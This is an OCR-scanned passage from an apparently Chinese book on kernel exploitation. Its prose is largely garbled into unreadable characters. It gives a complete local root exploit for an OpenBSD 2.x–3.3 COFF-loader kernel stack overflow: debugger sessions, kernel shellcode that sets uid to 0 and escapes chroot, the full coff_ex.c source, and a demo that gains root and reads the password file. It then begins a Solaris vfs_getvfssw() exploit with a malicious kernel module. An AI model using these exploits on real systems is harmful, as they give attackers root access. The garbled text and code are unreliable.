_exec_ibcs2_coff_makecmds+0x61: movl $eax, bebx

ddb> x/i 0xd048a6cd - 5
_exec_ibcs2_coff_makecmds+0x5c: call
_exec_ibcs2_coff_prep_zmagic

ddb> cont
Breakpoint at _exec_ibcs2_coff_prep_zmagic+0x27b: call
_vn_rdwr

ddb> x/x $esp,3

0xdd739060: 0 d46c266c 44739500

(base argument to vn_rdwr)
adb> x/x $esp

0xd4739b60: 0
ddb> M

0xd4739064 : d46c266c
ddb> M

0xd4739b68 : d4739bb0

-> addr of 'char buf(128]"
ddb> x/x $ebp

0xd4739c58: 44739c88  --> saved ¥ebp
ddb> ~M
0xd4739c5¢: d048a6cy  --> saved %eip

|-> addr on stack where the saved instruction pointer is stored

TEXBOUFIL5E B (BB BEAT 24 B8 W4t - fomi t - frame-pointer), HALIREH B AL L
HHTE, IRAFIN CIAIAT0) Wi RISR T SRR L TN . A T VSR KRR A7
HseipZ IIMIEERS, 4TI FHRIE.
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ddb> print 0xdd739c5c - 0xd4739bb0
ac
ddb> boot sync

SRR boot syncH AW ER ALK,

RAF R [tk i RTAR R X 22 19] (OB /2 172B (Oxac). #E. sh1ibX Bk RN B
FERDRNA176 (0x00), RATHALEHIURAE IR [ Mk o

26.1.2 BEEEMUHEEEAITHREE
WSO FBHEARR T8 X M B2 JF, obsd_ex1.cEMFHRBITHLRRE
HEXT.
(1] 1ptr = (u_long *) ((char *)ptr + sizeof(fhdr) + sizeof(ahdr) + \
(sizeof (scn0)*3) + (2*4096) + 0xb0 - 8);
(2] shptr = (char *) malloc(4096);
if (debug)
printf(“payload adr: 0x%.8x\t", shptr);
memset (shptr, Oxcc, 4096);

*1lptr++ = Oxdeadbeef;

(3] *lptr = (u_long) shptr;

AL, 7511148, RAMERper R BIX BRR RAOILE, RO BRI M2 Haet
BAMEEE L. EXMREZ S, AR MEGREX (2], MR BRI B
B ORI . BAE, HBUH TRUS IR L X B B R 4BRIX RIS
BOF P AP IX (3] UM SE R T SATHE B eI (R B P X R, TR L
WTint 3 CGHRFND. XH-PHADAN.

bash-2.05b# ./obsd_ex1 -v
payload adr: 0x00005000

Stopped at 0x5001: int $3
ddb> x/i $eip,3

0x5001: int $3

0x5002: int $3

0x5003: int $3

R 1 AR RS 9 th R HBRATA B T AN & 3BT IR AL (SEL_KPL).

ddb> show registers

es 0x10

ds 0x10

ebp Oxdeadbeef

eip 0x5001 --> user-land address

cs 0x8
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26.1.3 TIRPERERT (SuIREH)

W TR, RATATLMESESELE GET) MchrootdbFER AT FT R EMBAELHER. &
RBFGMOTEARE R EXBIRNALERHENTE, ~PRRERTE (FREE
OpenBSD_LA# /), 53— sysctl () REWA.

1. HRE

#EOpenBSDA XK, RIEMESH M, WAL HITR AR TARIREH BT e M E Y
7. Bk, ERBBATEHIBUR, TR I ERE R R (Rt RIEA R R
Z IR KAFRIVE LR B—JrE, fELinux T, WERSRIERR S B
SBIRAERE (per-process) MWEARMIFT k. LinuxX MEEHARSBLEHBHELE.

2. sysct1() REAA

sysct LM X FEE / REAKEBHREBE. BH - MIRKED, ATFERAZ
SHPXZREMEHE . sysce1 B OBEEHILE — 2T (sub-components), X7
WORAENE B BRI, M. S RERGRGMRERHIRED . RITEZIER K
TEHikern_sysctl () B¥AL I W isysctl L.

SEMR  Jusys/kern/kern_sysctl.c: $23447,

kern_sysctl() MU RLEEA (BIAERELH . BHEREE . BRI MR R H9iR
RIHIATRFF . sysctl_doproc () RECKIALTEHRLHI, THXRRAVEATRO. BINBXE
BEn.
;:::tl_daproc(name, namelen, where, sizep)
int *name;
u_int namelen;
char *where;
size_t *sizep;

(1] for (; p != 0; p = LIST_NEXT(p, p_list)) {

21 switch (name(0]) (

case KERN_PROC_PID:
/* could do this with just a lookup */
31 if (p->p_pid != (pid_t)name[1])
continue;
break;
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if (buflen >= sizeof(struct kinfo proc)) {
a) £i11_eproc(p, &eproc);
5] error = copyout((caddr_t)p, &dp->kp_proc,
sizeof (struct proc));

void
£i11_eproc(p, ep)
register struct proc *p;
register struct eproc *ep;

register struct tty *tp;

161 ep->e paddr = p;

[FI#, fsyscel_doproc() K #, I Lh i switchif i (2] 4b 58 7R A 2 &I 75 47 .
KERN_PROC_PIDXY T I AEfT i R ) AR 444 9 T B A b R 36 R R T . M select () 8§t
R, MESGRRRHAHIEREE T . setivimer ) WAMFEREM L USELITE) F
Flsysct1 () B,

sysctl_doproc () fUIN T FRAWIMIpid (3], WIHHILLH (1)L (linked lis),
REIT » RN 1418 (5] H3ELE45H (eproclikp_proc), 3R copyout B /X .
£i11_eproc() (7£[41&L¥IMHD EEIRMIE, A MMDiakiprocit 5 H BleprockiH (6]
Hie_padarf . JF, HAHER B R B Fkinfo_prockif (X sysctl_doproc () ¥R,
AR BB LD BRI K . T K R R 1 %1 B B sys/sys/
sysctl.he

FHEABRAAF K Elkinfo_procH MR .

;:éfproc(pid_t pid, struct kinfo_proc *kp)

{
uw_int arr(4], len;

arr[0] = CTL_KERN;

arr(1) = KERN_PROC;

arr(2) ERN_PROC_PID;

arr(3] = pid;

len = sizeof (struct kinfo_proc);

if (sysctl(arr, 4, kp, &len, NULL, 0) < 0) {
perroxr(*sysctl®);
exit(-1);
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sys_sysctl () ¥HECTL_KERNSMRE kern_sysctl (). kern_sysctl () #HEKERN_PROCHR
#sysctl_doproc(). LiRMfswicchiff#4bEKERN_PROC_PID, #/5iR[Hkinfo_prockiti.

26.1.4 FFRNZERHET

TER—/N, S THRTCR. B H R T R RATHFFREHMG. BURRE%
BRI RLE R S BT . IR RATHFMERALEIEE P K BB TR 8%
ARERER R, T BRERBEA W BT

1. p_credfflu_crea

SEMHEATRI . T 5UHTR MR B A E T3 1 R G M ffJucrea 1P MISEIE)
Fipcred GHAZHIAEIE) MICHRAT. FlMsysctl O REWM TCELiti) e msE
FRUAR G M O REAR ARSI B, . Long 0x12345678. BHIifIcall Mpopi & HHtgs s (K FRLE
HH LRI B vedio RATEABERIARBT RN LT84 shellcode# I HI i IS B2 R
Phrack# &3 EAEFT /4 (www.phrack.org/archives/49/P49-14) .

oo T SETS < ppros adds

.long Oxdeadcafe

.long Oxbeefdead

nop
nop

nop

moo:

pop  %edi

mov  (%edi),%ecx # parent's proc addr in ecx

# update p_ruid
mov  0x10(%ecx),%ebx # ebx = p->p_cred

xor %eax, $eax # eax = 0
mov %eax, 0x4 (%ebx) # p->p_cred->p_ruid = 0
# update cr_uid
mov  (%ebx) , bedx # edx = p->p_cred->pc_ucred
mov  %eax,Ox4(%edx) # p->_cred->pc_ucred->cr_uid = 0

2. MR A RO T RYGE

TR, RAIMring oBRATH A —/NBICHACHD I H AR H ORI F REE. W ABRA
SIZRMAN, SRR T E SRR B A 2L (per-process basis). AR
#jail H F(fvnodefiiéf YT £iledesc (FIFFIAFLH) (I£d_rdir £iledescll fKSTIHAM
HSHT RYE MBS RIRS A E SRR, SRR AR PR
4l

WMRRIBRIRE, AL RS YARNIATE . WRLARAT XN R IR AR A 3,
AT PR T SO R B AR BCM BRI B, X MR A TR B . R
P LML, AR ETFY, TORH AR W T R M5 £ rair.

p->p_fd->fd_rdir



26.1 exec_ibcs2_coff prep_zmagic()# 509

INFISEIESTH—HE, RATEIERAT UM P4 S BT LU L7 196 B £11 edesc.
# update p->p_fd->fd_rdir to break chroot()

mov  0x14 (%ecx),tedx # edx = p->p_fd
mov  %eax, Oxc ($edx) # p->p_fd->fd_rdir = 0

26.1.5 MHZHERE

HERNE SRR T RIS SR E RO T REBR LT, RITEHE
WA RGRER A SRR, RATLAESHAEA GRS ERGT REEHD, 808
BT BEAR. ictirectit & BB P BRI AYI T 1, EHRHRRGEH R RVERITR L, B
AHBATHEBUE T RS AR, HliimutexBifirawrs. ERRENIMIR T, ¥RHE PB4
XSRS AR, AR RN AL AR IR W MR — L4
HOHIT, BATEEBRBAT A7 4B S5 2 M9 (9 PO RGARA, JERATRIFIARRS . SERR L, T4
BARGMAERBL, 18RI RPN LR R IBIF IO RSN, . IBERITR R BN %
AR iretBAR T .

1 EEEAFER: iretfiA

"FHIAESRISR (Interrupt Service Routine, ISTRSHIF) /1 RS A BT . X
AMRBOGAARE ACHRIN RERMAIERF (1), AIEMREEARRET, REFES

JrEEA PR 2],
IDTVEC (syscall)
pushl $2 # size of instruction for restart
syscalll:
pushl  $T_ASTFLT # trap # for doing ASTs
INTRENTRY
movl  _C_LABEL(cpl),%ebx
movl  TF_BAX(%esp),%esi # syscall no
1) call  _C_LABEL(syscall)
2: /* Check for ASTs on exit to user mode. */
cli
cmpb  $0,_C_LABEL(astpending)
je 1f

/* Always returning to user mode here. */
movb  $0,_C_LABEL(astpending)

sti .

/* Pushed T_ASTFLT into tf_trapno on entry. */

call  _C_LABEL(trap)
Imp 2b

1: cmpl  _C_LABEL(cpl), %ebx
jne 3f

12) INTRFASTEXIT

#define INTRFASTEXIT \
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popl  %eax i
addl  $8,%esp i

popl tes i\
popl  %ds i\
popl tedi i\
popl  %esi i\
popl %ebp i\
popl  sebx i\
popl  %edx i
popl %ecx i\

\

\

RV T ATV SE RGE IR FRAT I T RIBIR, B0 M AR ]
c1i

# set up various selectors for user-land
# es = ds = Ox1f
pushl $0x1f

popl  %es
pushl $0x1f
popl  %ds

# esi = esi = 0x00
pushl $0x00
popl  %edi
pushl $0x00
popl  %esi

# ebp = 0xAfbfd000
pushl $0xdfbfd000
popl  %ebp

# ebx = edx = ecx = eax = 0x00
pushl $0x00
popl  %ebx
pushl $0x00
popl %edx
pushl $0x00
popl  %ecx
pushl $0x00
popl  %eax

pushl $OX1f # ss = OxXIf
pushl $0xdfbEA000 # esp = 0xdfbfdo0o

pushl §0x287 # eflags

pushl §0x17 # cs user-land code segment selector

# set set user mode instruction pointer in exploit code
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pushl $0x00000000 # empty slot for ring3 %eip

iret

2. BE B RERTE: siatiH AT _kernel texti¥#

& BRI B ARKSEIDTR (Interrupt Descriptor Table Register, Wi R 17 28).
EEIDT (Interrupt Descriptor Table, F MR HR) HFF LML

IDTHARRE RMGN, TR EF 0 R R F UL ERET . NOR2SSHENMETFE
ARRx86 LI P IT, XL PR F 7 ) & X BB RN EIDTZ R 0 T L
JRMHATERFF . IDTEAES6MA D, B8, HIHARLMMIDTHBHAD, HRIHA
A system gate IR T - trap gatefhARF# AR BRI R AW ABRF (ERTENEY EY
).

MR OpenBSD1 Al 44 F) ¢ gate_descriptorsh #4k H trap #= system #4i£4F. F1#¥, system gates
AR L AR A Ky trap gated| A .

sys/arch/i386/machdep.c line 2265

setgate(&idt[128], &IDIVEC(syscall), 0, SDT_SYS386TGT, SEL_UPL,
GCODE_SEL) ;

sys/arch/i386/include/segment.h line 99

struct gate_descriptor {

unsigned gd_looffset:16; /* gate offset (1sb) */
unsigned gd_selector:16; /* gate segment selector */
unsigned gd_stkcpy:5; /* number of stack wds to cpy */
unsigned gd_xx:3; /% unused */
unsigned gd_type:5; /% segment type */
unsigned gd_dpl:2; /* segment descriptor priority level */
unsigned gd p:l; /* segment descriptor present */
unsigned gd_hioffset:16; /* gate offset (msb) */

1

[delete]

line 240

#define SDT_SYS386TGT 15 /% system 386 trap gate */

gate_ i E 0 Hfigd_1 Mgd_hioffset, ENMFAERIEE (low-level) M

AbEER TR b FAT XL FERME R R, AT LA B A F A www.intel.comv/design/
Pentium4/documentation.htm.

i sF P AR 95 1 7R 6 U 48 AL A F A A R ISTOXBOKR S T T ISR, BEATLAMRR
Clow-level) FRYEYH il o T kb SRR PP TR0 R SCA . BRAE, ARFTLARBIMAI /2 Chigh-level)
REWRALERFHITE, HREERZITE.
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OpenBSD . MIDTH#ifir % _idt_region, 0x804&RZtiA M+ Kiffisystem gate #iikFF. KH
IDTHA R RSB, R Hgate_descriptorffiiilil&_idt_region+0x80*0x80,

A _idt_region + 0x400.

bash-2.05b# Stopped at _Debugger+0x4: leave

ddb> x/x _idt_region+0x400

_idt_region+0x400: 80edc

adb> ~M

_idt_region+0x404: e010e£00

T e B RSV AR TR AR, BTG Z Rt system gate R 14 F BLAGE 24 60
shifeBoriZH . Xl LAIRE 0xe100e4c il

bash-2.05b# Stopped at _Debugger+0xd: leave

ddb> x/x Oxe0100edc

_Xosyscall_end: pushl $0x2

ddb> M

_Xosyscall end+0x2: pushl $0x3

_Xosyscall_end+0x20: call  _syscall

RS KAV e T — e, EIDTH LRI 10 ik BAT B TCSE 1) B A KA gate
HORFFPBHE IR Yo XA BB BAN R “FRATRRF”, SRR BIILER
AEEEYF. EE PR R B ALE N A, JRIA MM TRRT Xosyscall_endfR
FHAMGIER (A LIUBRIRERIERD LML ENLREF _syscall().

RANCLFERED, iatrFFBRMREBE _idt_regionfiHil. BIEME AN ZMHEA
kel B

sidt 0xd (%edi)

mov  0x6(%edi), bebx

_the_idt_regionf¥ ik 38 hiFebx, BLAERTLAEL ebx|FIIDTT o MERMIMALTER ¥
HER YU AL AR P IR AR R o

sidt 0x4 (%edi)

mov  0x6 (%edi) , Sebx

mov  0x400 (%ebx) , $edx

mov  0x404 (%ebx) , $ecx

# mov _idt_region is in ebx
#
#
shr  §0x10, ecx #
#
#
#

_idt_region(0x80 * (2*sizeof long) = 0x400]
_idt_region[0x404]

sal  $0x10,%ecx ecx = gd_hioffset
sal  §0x10, %edx

shr  §0x10, bedx edx = gd_looffset

or  %ecx, bedx # edx = ecx | edx = _Xosyscall_end

Fl, RATELMRIEI T T/ A FEFOAE . F— SN2 SRS WA,
HhHicall syscall, UMMM MMBE, WEMBHRSMEMMIE. S5, K THMEE
SRR IRAAN, A R4 T4 NSB.
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xor %ecx,%ecx # zero out the counter
ups

inc  %ecx

movb (%edx,%ecx),$bl  # bl = _Xosyscall end++

-

cmpb $0xe8, ¥bl if bl == Oxe8 : ‘call’

jne up

lea (%edx, %ecx), %ebx # _Xosyscall end+tecx: call _syscall

inc  %ecx

mov  (%edx,%ecx),%ecx  # take the displacement of the call ins.

add  $0x5, ecx add 5 to displacement

add  %ebx, secx # ecx = _Xosyscall end+0x20 + disp = _syscall()

BIE, secxfRfF T HIEMAEARF _syscallyiihl. £ T RMD BRI A JLIE A 5
syscall () BRECRT, IFERBAIH EFIAR . WA AR LT OpenBSDHEAT | Z B
o FEBMR, BAIHETLUA syscall ) BkFlcall *seaxtfi®. XEW TR —MIHAN
OpenBSDAA R, ST RYUH A MRE)E B AL R0 1 & RAETER) .

MOpenBSD 2.6 #13.3, WEATEREMcall *seaxtt & MRRLEWA, M'E 7 _syscall()
R R PR 11

bash-2.05b# Stopped at _Debugger+0x4: leave

ddb> x/i _syscall+0x240 :

_syscall+0x240: call *$eax

ddb>cont

RATIAER FATR A AR A SRt (FEXAMIF B 0x240). RATRM AT =15)
BPcall *veaxZ GRS, BMEARIUT. WENTLF.

#search for opcode: £fd0 ie: call *$eax

mov  %ecx,%edi
mule:

mov  $Oxff,%al
cld

mov  SOxEEEFFEEE,Becx
repnz scas %es: (%edi),%al
# ok, start with searching Oxff

mov. (%edi), %bl

cmp  $0xd0,%bl  # check if Oxff is followed by 0xd0

jne  mule 4 if not start over

inc  %edi # good found!

xor  %eax,%eax #set up return value

push  %edi #push address on stack

ret #jump to found address

S XA S BRAVGIER )BT B A . AR S0, AEATAET Rt RS
F#AT LM .

- %ebp fixup

WAL siatBARWKEIIT, A T B IE7E syscal LR N SRR A0 RANTAELS
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EUBA R SRAF (RS . AR RT LU IS 7E 6 55 o8 i iprolog |- L) Keepilog & f11eavefi 4 2 B BB
Wi, SEHA R . BUFE, TS 7Eprolog B il ) tebp 53R Al Vi # Z AT 0 R isesp
ZIRZE. R R4 A XA PRI R I sebp B B B A TR A0

lea 0x68(%esp), %ebp # fixup ebp

26.1.6 BERMR (uia=0)

I B HERTTHFA0A BHERK, JRAH S BRI A AR . o LU AT f T
A BSCEAR 00T R R TR AR O

-bash-2.05b$ uname -a

OpenBSD the0.wideopenbsd.net 3.3 GENERICH44 1386

-bash-2.05b$ gce -o theOtherat coff_ex.c

-bash-2.05b$ id

uid=1000(noir) gid=1000(noir) groups=1000(noir)

-bash-2.05b$ ./theOtherat

DO NOT FORGET TO SHRED ./ibcs2own

uid=0(root) gid=1000(noir} groups=1000(noir)
-bash-2.05b$ bash
bash-2.05b# cp /dev/zero ./ibcs2own

/home: write failed, file system is full

cp: ./ibcs2own: No space left on device

bash-2.05b# rm -f ./ibcs2own

bash-2.05b# head -2 /etc/master.passwd

root:$2a$08$ [cut] :daemon:0:0:Charlie &:/root:/bin/csh
1 :The devil himself:/root:/sbin/nologin

coff_ex.c

wy
Y

/%* OpenBSD 2.x - 3.3
/** exec_ibes2_coff_prep_zmagic() kernel stack overflow
/+* note: ibcs2 binary compatibility with SCO and ISC is enabled **/

/** in the default install w*/
AL Copyright Feb 26 2003 Sinan 'noir® Eren */
s r@ol .org | noi: .net S

#include <stdio.h>
#include <sys/types.h>
#include <fentl.h>
#include <unistd.h>
#include <sys/param.h>
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#include <sys/sysctl.h>
#include <sys/signal.h>

/* kernel_sc.s shellcode */

unsigned char shellcodel] =

"\xe8\x0£\x00\x00\x00\x78\x56\x34\x12 \xfe\xca\xad\xde\xad\xde\xef \xbe*
“\%90\x90\x90\x5 £ \xBbAX0 £ \xBbAX5I \x10\x31\%c0\X89 \x43\x04\xBb\x13\x89"
"\x42\x04\xBb\X51\x14 \x89\x42\x0c\xBA\X6C\x24 \x68\x0£\x01\x4 £\x04 \x8b*"
“\x5£\x06\x8b\x93\%00\x04\x00\x00\x8b\x8b\x04\x04\x00\x00\xc1\xe9 \x10"
"\xcl\xel\x10\xc1\xe2\x10\xcl\xea\x10\x09 \xca\x31\xcg \x41\xBa\x1c\x0a"
"\x80\x£b\xeB\x75\x£7\x8d\x1c\x0a\x41\x8b\x0c\x0a\x83 \xc1\x05\x01\xd9 "
"\XBI\xCE\XBO\XEE\XEC\ KDY \XEE\KEE\XEE\XEE\xE2 \xae\x8a\x1£\x80\x£b\xd0"
"\X75\xef\x47\x31\xc0\x57\xc3" ;

/* iret_sc.s */

unsigned char iret_shellcodel] =
*\xe8\x0£\x00\x00\x00\x78\x56\x34\x12 \xfe\xca\xad\xde \xad\xde\xef \xbe"
"\%90\x90\x90\x5£ \x8b\x0 £ \x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89 "
"\%42\x04\x8b\x51\x14\x89\x42\x0c\xfa\x6a\x1£\x07 \x6a\x1£\x1£\x6a\x00"
"\X5£\x6a\x00\x5e\; \xaf \x5a\x6a’ x62\x00\x5a\x6a"
"\%00\x59\x6a\x00\x58 \x6a\x1£\x681x00\xd0\xbE \xd£ \x68\x87\x02\x00\x00"
“\x6a\x17";

unsigned char pusheip(] =
"\X68\x00\x00\x00\x00"; /* £ill eip */

unsigned char iret[] =
"\xcE*;

unsigned char exitsh[] =

*\x31\xc0\xcd\x80\xcc*; /* xorl %eax,%eax, int $0x80, int3 */
#define ZERO(p) memset(&p, 0x00, sizeof(p))

I*

* COFF file header
*/

struct coff_filehdr {

u_short. £_magic; /* magic number */

u_short. £_nscns; /* # of sections */

long £_timdat; /* timestamp */

long £_symptr; /* file offset of symbol table */
long £_nsyms; /* # of symbol table entries */
u_short £_opthdr; /* size of optional header */

u_short £_flags; /% flags */
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/* f_magic flags */
#define COFF_MAGIC_I386 Oxldc

/* £_flags */

#define COFF_F_RELFLG  Oxl

#define COFF_F_EXEC 0x2

#define COFF_F_LNNO oxd

#define COFF_F_LSYMS  Ox8

#define COFF_F_SWABD  0x40

#define COFF_F_AR16WR  0x80

#define COFF_F_AR3ZWR  0x100

I

* COFF system header

-/

struct coff_aouthdr {
short a_magic;
short a_vstamp;
long a_tsize;
long a_dsize;
long a_bsize;
long a_entry;
long a_tstart;
long a_dstart;

Y

/* magic */

#define COFF_ZMAGIC 0413

I

* COFF section header

*/

struct coff_scnhdr {
char s_name (8] ;
long s_paddr;
long s_vaddr;
long s_size;
long s_senptr;
long s_relptr;
long s_lnnoptr;
u_short s_nreloc;
u_short. s_nlnno;
long s_flags;
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/* s_flags */

#define COFF_STYP_TEXT 0x20 .
#define COFF_STYP_DATA 0x40
#define COFF_STYP_SHLIB 0x800 .

void get_proc(pid_t, struct kinfo_proc *);
void sig_handler();

int
main(int argc, char **argv)
{
u_int i, fd, debug = 0
u_char *ptr, *shptr;
u_long *lptr;
u_long pprocadr, offset;
struct kinfo_proc kp;
char *argsl] = { *./ibcs2own", NULL};
char *envs[] = { "RIP=theo", NULL);
//COFF structures
struct coff_filehdr fhdr;
struct coff_aouthdr ahdr;
struct coff_scnhdr scn0, scnl, sen2;

if(argv(1]) {
if (tstrncmp (argv(1],

debug = 1;
else {
printf(*-v: verbogse flag only\n®);
exit(0);
}
}
ZERO (£hdr) ;

COFF_MAGIC_I386;

3; //TEXT, DATA, SHLIB

Oxdeadbeef ;

0x4000;

£hdr.f_nsyms = 1;

fhdr.f_opthdr = sizeof (ahdr); //AOUT opt header size
£hdr.f_flags = COFF_F_EXEC;

2ZERO (ahdr) ;

ahdr.a_magic = COFF_ZMAGIC;
ahdr.a_tsize = 0;
ahdr.a_dsize = 0;
ahdr.a_bsize = 0;
0x10000;
ahdr.a_tstart = 0;

ahdr.a_entry
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ahdr.a_dstart

ZERO(scn0) ;

memcpy (&scn0.s_name, !.text®, 5);

scn0.s_paddr = 0x10000;

scr0.s_vaddr = 0x10000;

scn0.s_size = 4096;

scn0.s_scnptr = sizeof (fhdr) + sizeof(ahdr) + (sizeof (scn0)*3);
//file offset of .text segment

scn0.s_relptr =
scn0.s_lnnoptr = 0
scn0.s_nreloc
scn0.s_nlnno
scn0.s_flags = COFF_STYP_TEXT;

ZERO(scnl) ;

memcpy (&scnl.s_name, *.data’, 5);

scnl.s_paddr = 0x10000 - 4096;

scnl.s_vaddr = 0x10000 - 4096;

scnl.s_size = 4096;

scnl.s_scnptr = sizeof (fhdr) + sizeof (ahdr) + (sizeof(scn0)*3) +4096;
//file offset of .data segment

scnl.s_relptr = 0;
scnl.s_lonoptr = 0;
scnl.s_nreloc = 0;

scnl.s_nlnno = 0;
scnl.s_flags = COFF_STYP_DATA;

ZERO(scn2) ;
memcpy (&scn2.s_name, *.shlib*, 6);
scn2.s_paddr = 0;
scn2.s_vaddr = 0;

scn2.s_size = Oxb0; //HERE IS DA OVF!!! static_buffer = 128
scn2.s_scnptr = sizeof (fhdr) + sizeof (ahdr) + (sizeof(scn0)*3) + 2+4096;
//file offset of .data segment

scn2.s_relptr = 0
scn2.s_lanoptr =
scn2.s_nreloc
scn2.s_nlnno = 0;

scn2.s_flags = COFF_STYP_SHLIB;

offset = sizeof (fhdr) + sizeof (ahdr) + (sizeof (scn0)*3) + 3+4096;
ptr = (char *) malloc(offset);
if(tptr) (

perror ("malloc”);
exit(-1);
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memset (ptr, Oxce, offset); /* £ill int3 */

/* copy sections */

offset = 0;

memcpy (ptr, (char *) &fhdr, sizeof(fhdr));
offset += sizeof (fhdr);

memepy (ptr+offset, (char *) &ahdr, sizeof(ahdr));
offset += sizeof (ahdr);

memcpy (ptr+offset, (char *) &scn0, sizeof(sen0)):
offset += sizeof (scn0);

memcpy (ptr+offset, &scnl, sizeof(scnl));
offset += sizeof (scnl);

memcpy (ptr+offset, (char *) &scn2, sizeof(scn2));
offset += sizeof(scn2);

lptr = (u_long *) ((char *)ptr + sizeof (fhdr) + sizeof (ahdr) + \
(sizeof (scn0) * 3) + 4096 + 4096 + 0xbO - 8);

shptr = (char *) malloc(4096);
if(1shptr) {
perror (*malloc*) ;
exit(-1);
)
if (debug)
printf(*payload adr: Ox%.8x\t", shptr);

memset (shptr, Oxcc, 4096);

get_proc((pid_t) getppid(), &kp);
pprocadr = (u_long) kp.kp_eproc.e_paddr;
if (debug)
printf("parent proc adr: Ox$.8x\n", pprocadr);

*lptres = Oxdeadbeef;
*lptr = (u_long) shptr;

shellcode(5) = pprocadr & Oxff;

shellcode(6] = (pprocadr >> 8) & Oxff;
shellcode[7) = (pprocadr >> 16) & Oxff;
shellcode(8] = (pprocadr >> 24) & Oxff;

memcpy (shptr, shellcode, sizeof (shellcode)-1);

unlink(*./ibcs2own") ;
if ((fd = open("./ibcs2own®, O_CREAT"O_RDWR, 0755)) < 0) {
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perror (*open*) ;
exit(-1);
}

write(fd, ptr, sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0) * 3) + 409673);
close(fd);
free(ptr);

signal (SIGSEGV, (void (*)())sig_handler);
signal (SIGILL, (void (*)())sig_handler);
signal (SIGSYS, (void (*)())sig_handler);
signal (SIGBUS, (void (*)())sig handler);
signal (SIGABRT, (void (*)())sig_ handler);
signal (SIGTRAP, (void (*)())sig_handler);

printf (*\nDO NOT FORGET TO SHRED ./ibcs2own\n®);
execve(args (0], args, envs);
perror (“execve") ;

}

void
sig_handler ()
_exit(0);
void
get_proc(pid_t pid, struct kinfo_proc *kp)

{
u_int arr(4], len;

arr[0]

arr(i]

arr(2] = KERN_PROC_PID;

arr[3) = pid;

len = sizeof (struct kinfo_proc);

if (sysctl(arr, 4, kp, &lem, NULL, 0) < 0) {
perror ("sysctl");

fprintf (stderr, "this is an unexpected error, rerun!\n");
exit(-1);
)

}
26.2 Solaris vEs_getvEssw () A iNEE NI R BE 1218 B 7R R

XS ARTHD, BIWARRT T AU AIOpenBSD MR B, B AT REMIvEs_getvEssw () AR
RO %, MOpenBSDMIAARFANR, Solarisfiives_getvessw () WiFME M. BRI
RS — A2 fImodname S i i — S8 19 R4 AL O REARIRADEN R . 5341, RATGE
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NPBMER, SR A RN R s R, HEHBR I FAEBCARAI T . SRSk
MR WM AT RE T TP R W B AR, AR FABHT i, RATRBARBD
fiJim Mauro HIRichard McDougall%i 5 iSolaris Internals, RIS K 1L A TR0 A FSolaris Py B
B, HFHMEZE, HRRRRBESolars MIABIKRLEH .

Hvis_getvess () RldK B, WTHMRMHEE, 1BIRAT RS G FIR KU she B F . 45
MR SR RICK, 437115 B ARt R 4. FHARBE R LR E
TP B4 R BN AR ARG o

2621 HORSWMMBEARE
TR /... /emo/00 5 ¥ systs O REMM. RBKBHNE, MR

#include <stdio.h>
#include <sys/fstyp.h>
#include <sys/fsid.h>
#include <sys/systeminfo.h>

/*int sysfs(int opcode, const char *fsname); */

int
main(int arge, char **argv)
(
char modname(] = "../../../tmp/o0";
chax buf[4096];
char ver(32], *ptr;
int sixtyfour = 0;

memset ( (char *) buf, 0x00, 4096);
if(sysinfo(SI_ISALIST, (char *) buf, 4095) < 0) {
perror ("sysinfo*);
exit(0);
}

if (strstr(buf, "sparcv9®))
sixtyfour = 1;

memset ((char *) ver, 0x00, 32);

if (sysinfo(SI_RELEASE, (char *) ver, 32) < 0) {
perror ("sysinfo*);
exit(0);

}
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}

ptr = (char *) strstr(ver, ".");

if(1per) {
fprintf (stderr, “"can't grab release version!\n®);
exit(0);

}

ptre+;

memset ((char *) buf, 0x00, 4096);
if (sixtyfour)

snprintf(buf, sizeof (buf)-1, "cp ./$s/0064 /tmp/sparcv9d/o0%, ptr);
else

snprintf(buf, sizeof(buf)-1, "cp ./$s/0032 /tmp/o0*, ptr);

if (sixtyfour)
if (mkdir (*/tmp/sparcv9”, 0755) < 0) {
perror ("mkdir");
exit(0);
}

system(buf) ;

sysfs (GETFSIND, modname) ;
//perror(*hoe!");

if (sixtyfour)
system("/usr/bin/rm -rf /tmp/sparcvd®);
else
system("/usr/bin/rm -f /tmp/o0*);

26.2.2 AR

BRAVERT T A FREI, TR BARIT A R, TRBRATOGE ETF4F,
Hl10000), JHO (root uid) WHIEUELHIMIuiaFR.

SRARAREIAREG, B FRAATE B — S AR BIRT P BB B85 . b T AR AT
IR ABSTRE T, AR AR AT 1.

11
2]

3]

41
53]

mutex_enter (&pidlock) ;
for (p = practive; p != NULL; p = p->p_next) {

if(strstr(p->p_user.u_comm, (char *) *0000")) {

PP = p->p_parent;
newer = crget();

mutex_enter (spp->p_crlock) ;
cr = pp->p_cred;
crcopy_to(cr, newer);
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pp->p_cred = newer;

171 newcr->cr_uid = 0;
(8] mutex_exit (&pp->p_crlock) ;
}
continue;

}

(9] mutex_exit (&pidlock);

BATHREAIE (21 R BTRLAINEER . TR AT, TENXMERTEALE (1) 408,
LT AR R MR (ERNTIH)F 2R BAGERE . /0000), PO R HEH 4.
practiveREERMLMIRE:, FHit, Mi2178, FHillidp_nextHFbtBaI F—RE. 73]k,
HHEL STRATHMRTMER: BRER RTINS S B 0000, XM ATHITHIR
B FRAFAER P B H K u_conm¥UAL IR, ML HMIMID_user M. strstr () B 0%
H R —MEu_comm HIBLH FAF o000, MRAEHERL hRILX METKMN FREH, BT
R[4 ) AR AT AT R SO BRI, 76K B R shelWRAFERFE . X —1TFE, (0RH%
shell [S)RESIHEUELIHG. K IGELHIRIE (6] Bifbmutex, WishelLMEELH, % (7)
A IDBG0 CRAFD o HEARSRITARED A 2E 181 0 19 ) Ak 640 5 43 R FE.45 M e MR8
mutex, ZJEHLH.

moka.c

#include <sys/systm.h>
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/cred.h>
#include <sys/types.h>
#include <sys/proc.h>
#include <sys/procfs.h>
#include <sys/kmem.h>
#include <sys/errno.h>
#include <fentl.h>
#include <unistd.h>

#include <sys/modctl.h>
extern struct mod_ops mod_miscops;

int g3mm3 (void);

int g3mm3 ()
{

register proc_t *p;
register proc_t *pp;
cred_t *cr, *newcr;
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mutex_enter (&pidlock) ;
for (p = practive; p

NULL; P = p->p_next) {
if (strstr(p->p_user.u_comm, (char *) "0000")) {

pp = p->p_parent;
newer = crget();

mutex_enter (&pp->p_crlock);
er = pp->p_cred;
crcopy_to(cr, mewer);
pp->p_cred = newcr;

mutex_exit (&pp->p_crlock);

continue;

mutex_exit (&pidlock);

return 1;

static struct modlmisc modlmisc =
{

&mod_miscops,

*u_comm"
Y

